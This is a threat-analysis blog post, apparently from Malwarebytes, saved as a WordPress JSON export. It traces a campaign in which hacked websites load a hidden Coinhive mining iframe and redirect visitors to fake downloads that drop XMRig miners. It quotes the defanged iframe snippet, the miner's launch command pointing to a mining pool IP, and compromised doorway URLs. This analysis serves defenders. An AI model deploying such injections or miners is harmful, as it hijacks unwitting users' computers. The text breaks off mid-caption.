{"id":12727,"date":"2018-07-03T08:10:03","date_gmt":"2018-07-03T16:10:03","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/07\/03\/news-6495\/"},"modified":"2018-07-03T08:10:03","modified_gmt":"2018-07-03T16:10:03","slug":"news-6495","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/07\/03\/news-6495\/","title":{"rendered":"Obfuscated Coinhive shortlink reveals larger mining operation"},"content":{"rendered":"<p><strong>Credit to Author: J\u00e9r\u00f4me Segura| Date: Tue, 03 Jul 2018 15:00:00 +0000<\/strong><\/p>\n<p>During the past several months, in-browser mining has continued to affect a large number of websites, predominantly relying on Coinhive&#8217;s infamous API. We documented several campaigns on this blog, in particular <a href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/look-drupalgeddon-client-side-attacks\/\" target=\"_blank\" rel=\"noopener\">Drupalgeddon<\/a>, where attackers are taking advantage of vulnerabilities in popular Content Management Systems (CMS) to compromise websites and push payloads both client- and server-side.<\/p>\n<p>In the past weeks, our crawlers have catalogued several hundred sites using a variety of CMS all injected with the same obfuscated code that uses Coinhive&#8217;s shortlink to perform silent <a href=\"https:\/\/www.malwarebytes.com\/pdf\/white-papers\/Drive-By-Cryptocurrency-Mining_Malwarebytes-Labs-Report.pdf\" target=\"_blank\" rel=\"noopener\">drive-by mining<\/a>. By pivoting on this indicator of compromise, we were able to identify a larger infrastructure receiving traffic from several thousand hacked sites acting as doorways to redirect traffic to a central server involved in the distribution of both web and standard malware coin miners.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema.png\" data-rel=\"lightbox-0\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24407\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/schema-4\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema.png\" data-orig-size=\"1046,562\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"schema\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema-300x161.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema-600x322.png\" class=\"size-full wp-image-24407 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema.png\" alt=\"\" width=\"1046\" height=\"562\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema.png 1046w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema-300x161.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/schema-600x322.png 600w\" sizes=\"auto, (max-width: 1046px) 100vw, 1046px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 1: Mining operation fueled by compromised sites<\/em><\/p>\n<h3>Obfuscated miner injection<\/h3>\n<p>As part of our regular crawls, we look for known redirects to sites of interest and lately, most have been related to Coinhive domains. We detected hundreds of new domains, all legitimate websites that were injected with a blurb of hexadecimal code. Once decoded, it shows as an invisible iframe (1&#215;1 pixel) to <em>cnhv[.]co\/3h2b2<\/em>.\u00a0We believe it is part of the same campaign that was <a href=\"https:\/\/blog.sucuri.net\/2018\/05\/cryptomining-through-disguised-url-shorteners.html\" target=\"_blank\" rel=\"noopener\">exposed by the folks over at Sucuri<\/a> at the end of May.<\/p>\n<pre>&lt;i frame src=\"https:\/\/cnhv[.]co\/3h2b2\" width=\"1\" height=\"1\" align=\"left\"&gt;&lt;\/i frame&gt;<\/pre>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_.png\" data-rel=\"lightbox-1\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24354\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/compromised_site_\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_.png\" data-orig-size=\"832,792\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"compromised_site_\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_-300x286.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_-600x571.png\" class=\"size-full wp-image-24354 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_.png\" alt=\"\" width=\"832\" height=\"792\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_.png 832w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_-300x286.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/compromised_site_-600x571.png 600w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 2: A WordPress site injected with an obfuscated iframe loading Coinhive&#8217;s API<\/em><\/p>\n<p style=\"text-align: left;\">The cnhv[.]co domain name is used for what Coinhive calls <a href=\"https:\/\/coinhive.com\/#shortlinks\">shortlinks<\/a>, essentially a way of monetizing on hyperlinks by making visitors&#8217; browsers solve a certain number of hashes before they reach their destination site. When clicking on such a link, you will see a progress bar and within a few seconds, you will be redirected. Crooks are abusing this feature by loading those shortlinks as hidden iframes with an unreasonably high hash count.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/iframe_mining.gif\" data-rel=\"lightbox-2\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24359\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/iframe_mining\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/iframe_mining.gif\" data-orig-size=\"737,742\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"iframe_mining\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/iframe_mining-298x300.gif\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/iframe_mining-596x600.gif\" class=\"size-full wp-image-24359 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/iframe_mining.gif\" alt=\"\" width=\"737\" height=\"742\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 3: Shortlink is taxing our CPU at 100%\u00a0<\/em><\/p>\n<p>In Figure 3 where we made the iframe visible by by changing its dimensions, to show that rather than wait for a few seconds before being redirected, users will unknowingly be mining for as long as they stay on the page. Indeed, while Coinhive&#8217;s default setting is set to 1024 hashes, this one requires 3,712,000 before loading the destination URL.<\/p>\n<h3>Backdoor initiated redirection<\/h3>\n<p>Querying <a href=\"https:\/\/urlscan.io\/\" target=\"_blank\" rel=\"noopener\">urlscan.io<\/a>, we were able to find the same Coinhive key active <a href=\"https:\/\/urlscan.io\/result\/0d87a898-de21-46b3-bb6c-ee5cd58b9997\/#transactions\" target=\"_blank\" rel=\"noopener\">as early as May 7<\/a>\u00a0via a different redirection mechanism. There is a specific URI pattern indicating that hacked sites are being leveraged to perform a redirect to a server at <strong>5.45.79[.]15<\/strong>. This in turn creates a redirection via another crafted URI where one of the parameters is the referrer site, ultimately leading to the Coinhive shortlink that will start the web miner.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir.png\" data-rel=\"lightbox-3\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24355\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/php_redir\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir.png\" data-orig-size=\"759,538\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"php_redir\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir-300x213.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir-600x425.png\" class=\"size-full wp-image-24355 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir.png\" alt=\"\" width=\"759\" height=\"538\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir.png 759w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir-300x213.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/php_redir-600x425.png 600w\" sizes=\"auto, (max-width: 759px) 100vw, 759px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 4: The same shortlink was found loaded from a compromised website via an intermediary server<\/em><\/p>\n<p>Several sites have been injected with <em>both<\/em> the hidden cnvh[.]co iframe method, as well as via backdoors:<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns.png\" data-rel=\"lightbox-4\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24367\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/2campaigns\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns.png\" data-orig-size=\"627,611\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"2campaigns\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns-300x292.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns-600x585.png\" class=\"size-full wp-image-24367 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns.png\" alt=\"\" width=\"627\" height=\"611\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns.png 627w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns-300x292.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/2campaigns-600x585.png 600w\" sizes=\"auto, (max-width: 627px) 100vw, 627px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 5: A hacked site injected with Coinhive&#8217;s shortlink and multiple compromised URLs<\/em><\/p>\n<p>The URI pattern used for the redirections can be identified by the following regular expression:<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern.png\" data-rel=\"lightbox-5\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24393\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/regex_pattern\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern.png\" data-orig-size=\"938,651\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"regex_pattern\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern-300x208.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern-600x416.png\" class=\"size-full wp-image-24393 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern.png\" alt=\"\" width=\"938\" height=\"651\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern.png 938w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern-300x208.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/regex_pattern-600x416.png 600w\" sizes=\"auto, (max-width: 938px) 100vw, 938px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 6: A regular expression showing a match between compromised sites<\/em><\/p>\n<h3>Blackhat SEO and doorways<\/h3>\n<p>Looking at those URIs again, we can note the presence of certain keywords that appear to be Search Engine Optimization (SEO) related, for instance:<\/p>\n<pre>cctvvietnam[.]com\/1hqg\/wzdea.php?lrscye=<strong><span style=\"color: #0000ff;\">mongodb<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">count<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">fields<\/span><\/strong>  pixelbedlam.co[.]uk\/9ul8\/6nfme.php?lrscye=<strong><span style=\"color: #0000ff;\">relativity<\/span><\/strong>-<span style=\"color: #0000ff;\"><strong>software<\/strong><\/span>-<strong><span style=\"color: #0000ff;\">cost<\/span><\/strong>  valam[.]in\/f8wb\/z8d6w.php?lrscye=<strong><span style=\"color: #0000ff;\">tutoring<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">in<\/span><\/strong>-<span style=\"color: #0000ff;\"><strong>egypt<\/strong><\/span>  stemat[.]pl\/klwy\/dzwfy.php?lrscye=<strong><span style=\"color: #0000ff;\">vin<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">decoder<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">mercedes<\/span><\/strong>  whylab[.]nl\/podd\/1hwnz.php?lrscye=<strong><span style=\"color: #0000ff;\">gpon<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">home<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">gateway<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">exploit<\/span><\/strong>  soho-dom[.]ru\/el5p\/ywuul.php?lrscye=<strong><span style=\"color: #0000ff;\">bts<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">album<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">download<\/span><\/strong>-<strong><span style=\"color: #0000ff;\">zip<\/span><\/strong><\/pre>\n<p>We confirmed that indeed some Google or Bing searches showed us results that included the list of compromised sites that are acting as &#8220;doorways,&#8221; usually to a traffic distribution system or redirector (5.45.79[.]15). In this case, the doorways are used to trick people into downloading <a href=\"https:\/\/www.virustotal.com\/#\/file\/d111d48d9ef183195dfe7d0cca950a268891d41e93abfb08e94c9a74cdd76f75\/detection\" target=\"_blank\" rel=\"noopener\">malicious coin miners<\/a> instead of the file they were looking for.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download.png\" data-rel=\"lightbox-6\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24398\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/google_download\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download.png\" data-orig-size=\"841,806\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"google_download\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download-300x288.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download-600x575.png\" class=\"size-full wp-image-24398 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download.png\" alt=\"\" width=\"841\" height=\"806\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download.png 841w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download-300x288.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/google_download-600x575.png 600w\" sizes=\"auto, (max-width: 841px) 100vw, 841px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 7: Despite appearances, this file is not 100 percent clean<\/em><\/p>\n<p>Note how the server at 5.45.79[.]15 is performing the redirection to another hacked sited (<em>motoir[.]com<\/em>), where the keywords passed from the URI are dynamically used to create what looks like a unique download page and file.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir.png\" data-rel=\"lightbox-7\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24401\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/search_redir\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir.png\" data-orig-size=\"718,238\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"search_redir\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir-300x99.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir-600x199.png\" class=\"size-full wp-image-24401 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir.png\" alt=\"\" width=\"718\" height=\"238\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir.png 718w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir-300x99.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/search_redir-600x199.png 600w\" sizes=\"auto, (max-width: 718px) 100vw, 718px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 8: Web traffic showing the redirection sequence<\/em><\/p>\n<h3>Malicious coin miners<\/h3>\n<p>Upon execution, this executable will unpack the following three binaries:<\/p>\n<ol>\n<li><strong>winsystem.exe<\/strong>: the XMRig miner<\/li>\n<li><strong>clock.exe<\/strong>: .bat file wrapped into an EXE contains commands<\/li>\n<li><strong>netflash.exe<\/strong>: a very simple downloader, written in .NET.<\/li>\n<\/ol>\n<p>The batch script adds persistence by setting a registry entry, kills certain processes (possible miners already running), and starts mining by launching:<\/p>\n<pre>winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k<\/pre>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner.png\" data-rel=\"lightbox-8\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24330\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/batch_miner\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner.png\" data-orig-size=\"912,703\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"batch_miner\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner-300x231.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner-600x463.png\" class=\"size-full wp-image-24330 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner.png\" alt=\"\" width=\"912\" height=\"703\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner.png 912w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner-300x231.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/batch_miner-600x463.png 600w\" sizes=\"auto, (max-width: 912px) 100vw, 912px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 9: Batch script revealing the mining code<\/em><\/p>\n<p>The fake download binaries are based on the same code from a miner, unsurprisingly, hosted at <em>5.45.79[.]15\/xxxphoto.exe<\/em>.\u00a0Using VirusTotal Intelligence, we were able to expand on this infrastructure and identify another coin miner, which is an ELF file this time, based on this <a href=\"https:\/\/github.com\/cnrig\/cnrig\" target=\"_blank\" rel=\"noopener\">cnrig library<\/a>, hosted at: <em>5.45.79[.]15\/monero\/cnrig<\/em>.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph.png\" data-rel=\"lightbox-9\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24324\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/virustotal_graph\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph.png\" data-orig-size=\"833,521\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"VirusTotal_graph\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph-300x188.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph-600x375.png\" class=\"size-full wp-image-24324 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph.png\" alt=\"\" width=\"833\" height=\"521\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph.png 833w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph-300x188.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/VirusTotal_graph-600x375.png 600w\" sizes=\"auto, (max-width: 833px) 100vw, 833px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 10: Graph showing an ELF and Win32 miner hosted on the same server<\/em><\/p>\n<p>A comment left on this\u00a0<a href=\"https:\/\/www.virustotal.com\/#\/file\/c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031\/community\" target=\"_blank\" rel=\"noopener\">VirusTotal report page<\/a> indicates that this miner was found on an infected server and pulled down from a PHP backdoor called\u00a0<em><strong>zz1.php<\/strong><\/em>. Searching for that file name, we located a <a href=\"https:\/\/www.unphp.net\/decode\/9d23a39fa3a90efa9d7f5f9c1717690e\/\" target=\"_blank\" rel=\"noopener\">possible candidate<\/a> uploaded to a public site. Decoding the Base64 encoded strings, we can assert with greater confidence that this is the malicious PHP file used by the attackers to download the Linux coin miner from\u00a0<em>5.45.79[.]15\/monero\/cnrig<\/em>:<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php.png\" data-rel=\"lightbox-10\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24369\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/zz1_php\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php.png\" data-orig-size=\"670,810\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"zz1_php\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php-248x300.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php-496x600.png\" class=\"size-full wp-image-24369 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php.png\" alt=\"\" width=\"670\" height=\"810\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php.png 670w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php-248x300.png 248w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/zz1_php-496x600.png 496w\" sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 11: PHP code uploaded into 